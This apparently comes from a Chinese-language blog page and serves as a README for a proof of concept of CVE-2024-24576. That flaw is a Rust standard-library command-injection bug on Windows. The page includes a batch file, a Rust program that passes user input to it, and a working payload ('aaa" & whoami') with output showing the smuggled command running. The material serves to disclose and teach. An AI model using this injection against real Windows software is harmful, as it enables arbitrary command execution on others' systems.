Rust命令注入漏洞演示工具 (CVE-2024-24576)

Rust命令注入漏洞演示工具 (CVE-2024-24576 PoC)

本项目提供了一个针对 CVE-2024-24576 漏洞的概念验证(Proof of Concept)实现。该漏洞是Rust标准库在Windows平台上的一个高危安全缺陷,允许攻击者通过特定参数绕过转义逻辑,执行任意系统命令。

功能特性

  • 漏洞复现:精确复现CVE-2024-24576漏洞,演示命令注入攻击过程
  • 参数测试:支持输入自定义payload,验证不同参数格式下的转义行为
  • 命令执行:调用Windows批处理文件(test.bat),展示参数传递与输出结果
  • 安全警示:直观展示未正确处理用户输入时可能引发的命令注入风险

安装指南

系统要求

  • Windows操作系统(漏洞仅在Windows平台生效)
  • Rust工具链(nightly或受影响版本)

依赖项

本工具仅依赖Rust标准库,无需额外依赖。

安装步骤

  1. 克隆项目仓库:
bash 复制代码
git clone https://github.com/yourusername/CVE-2024-24576-PoC.git
cd CVE-2024-24576-PoC
  1. 创建测试用的批处理文件 test.bat(与编译后的可执行文件同目录):
batch 复制代码
@echo off
echo Argument received: %1
  1. 使用cargo编译运行:
bash 复制代码
cargo run

使用说明

基础使用

运行程序后,输入待测试的payload:

bash 复制代码
cargo run
enter payload here
aaa
Output:
Argument received: aaa

命令注入测试

常规命令注入(失败案例)

输入包含&的字符串时,Rust会正确转义,命令不会被注入:

bash 复制代码
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
成功利用漏洞的payload

通过添加双引号,使转义机制失效,成功执行whoami命令:

bash 复制代码
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost

输出解析

  • 第一行显示转义后的参数("aaa\"
  • 第二行是注入命令whoami的执行结果(返回当前用户名)

API说明

主函数逻辑

  1. 从标准输入读取用户payload
  2. 将payload作为参数传递给test.bat批处理文件
  3. 捕获并打印批处理文件的输出

核心代码

rust 复制代码
use std::io::{self, Write};
use std::process::Command;

fn main() {
    println!("enter payload here");
    let mut input = String::new();
    io::stdout().flush().expect("Failed to flush stdout");
    io::stdin().read_line(&mut input).expect("Failed to read from stdin");
    let output = Command::new("./test.bat")
                         .arg(input.trim())
                         .output()
                         .expect("Failed to execute command");
    println!("Output:\n{}", String::from_utf8_lossy(&output.stdout));
}

核心代码

漏洞触发模块

rust 复制代码
use std::io::{self, Write};
use std::process::Command;

fn main() {
    // 提示用户输入payload
    println!("enter payload here");
    
    // 刷新标准输出缓冲区,确保提示立即显示
    let mut input = String::new();
    io::stdout().flush().expect("Failed to flush stdout");
    
    // 从标准输入读取payload
    io::stdin().read_line(&mut input).expect("Failed to read from stdin");
    
    // 使用Command API执行test.bat,将用户输入作为参数传递
    // 漏洞点:Rust对Windows批处理文件参数的转义逻辑存在缺陷
    let output = Command::new("./test.bat")
                         .arg(input.trim())
                         .output()
                         .expect("Failed to execute command");
    
    // 打印命令执行结果
    println!("Output:\n{}", String::from_utf8_lossy(&output.stdout));
}

测试批处理文件

batch 复制代码
@echo off
REM 简单地回显接收到的第一个参数
echo Argument received: %1

漏洞原理说明

Rust在Windows上调用Command::arg()时,会尝试对特殊字符(如&, |, ;等)进行转义以防止命令注入。但在处理包含双引号的特定组合时,转义逻辑未能正确处理,导致攻击者可以注入额外的命令。本项目通过aaa" & whoami成功演示了该缺陷。 6HFtX5dABrKlqXeO5PUv/4UVIGjPktfmPiizu3zncmJGVuS2s6SmcPjxIbvxLApj

相关推荐
吃糖的小孩几秒前
当 AI Agent 把运行故障问成了文档分析:我如何重做 MainAgent 的分区诊断
人工智能
Lynote AI9 分钟前
有什么好用的ai工具推荐?
人工智能
Token炼金师13 分钟前
引擎四强:vLLM、SGLang、TensorRT-LLM 与 llama.cpp —— 推理引擎选型对决
人工智能·llm·llama·vllm·tensorrt-llm·sglang
日光明媚14 分钟前
LongLive-英伟达-数字人实时生成
人工智能·计算机视觉·aigc·音视频
AI服务老曹24 分钟前
GB28181接入AI视频分析常见问题与排查清单:从国标平台注册、通道同步到心跳断线的工程实践
人工智能·音视频
mounter62527 分钟前
BPF 的进化史:从网络过滤器到 AI 时代的 Linux 核心引擎
linux·网络·人工智能·ebpf·linux kernel·kernel
名不经传的养虾人28 分钟前
从0到1:企业级AI项目迭代日记 Vol.65|最危险的故障不是崩溃,是悄悄换掉了正确答案
数据库·人工智能·ai编程·ai-agent·企业ai
程序员佳佳32 分钟前
模型网关灰度不是调百分比:把放量、观测和回滚做成账本
java·数据库·人工智能·redis·gpt·aigc·embedding
CryptoPP34 分钟前
BSE股票K线数据接入实战:从接口调用到前端图表展示
大数据·前端·网络·人工智能·websocket·网络协议
Ulyanov36 分钟前
雷达导引头信号模型与脉冲压缩技术:从理论到工程实现
人工智能·计算机视觉·目标跟踪